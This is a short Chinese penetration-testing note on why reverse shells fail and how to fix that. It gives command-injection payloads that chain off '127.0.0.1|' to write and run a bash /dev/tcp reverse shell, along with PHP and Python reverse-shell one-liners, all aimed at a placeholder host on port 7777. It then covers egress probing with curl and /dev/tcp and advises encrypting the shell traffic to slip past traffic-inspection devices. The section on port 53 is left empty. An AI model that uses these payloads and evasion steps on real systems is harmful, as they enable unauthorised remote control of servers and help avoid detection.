反彈不成功排查
今天遇到shell反彈不成功的問題,順便記下來
0.低許可權環境
- /tmp寫入bash反彈指令碼執行
127.0.0.1| Echo ‘bash -i >& /dev/tcp/x.x.x.x/7777 0>&1’>/tmp/1.sh
127.0.0.1|bash /tmp/1.sh
- php反彈shell
127.0.0.1| php -r '$sock=fsockopen("x.x.x.x",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
- python反彈shell
127.0.0.1 |python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1.命令存不存在
whereis nc bash python php exec perl ruby java telnet lua
檢視命令存不存在或者位置在哪
2.ping
ping一下dnslog看看出不出網
3.出網埠受限
目標伺服器網路邊界部署了防火牆,設定了出站規則,給出站的埠設定了白名單。
這裡只要埠屬於白名單內的即可,一般的話,DNS 的 53、HTTP 服務的預設埠 80、HTTPS 的 443 是三個最常見的出站埠,一般最有可能在白名單內,可一一嘗試。
當然如果白名單設定得很死,都不是常用埠的話,我們就得使用目標系統自帶的curl、telnet、wget等命令來進行出站埠探測。
80埠探測:
例如 curl www.baidu.com:80
有正確回顯代表可通80,沒有或者等待超時代表不通80埠。
可能遇到目標許可權低,且curl、telnet、wget等這幾個可探測埠的命令都沒有,那麼可以使用如下命令來探測:
echo > /dev/tcp/www.baidu.com/80
如果瞬間執行完成代表可出80,如果執行後一直等待,那麼代表不出80.
53埠探測:
4.目標機器檢測流量
上線後掉了,說明可能存在流量檢測裝置,應該加密反彈shell流量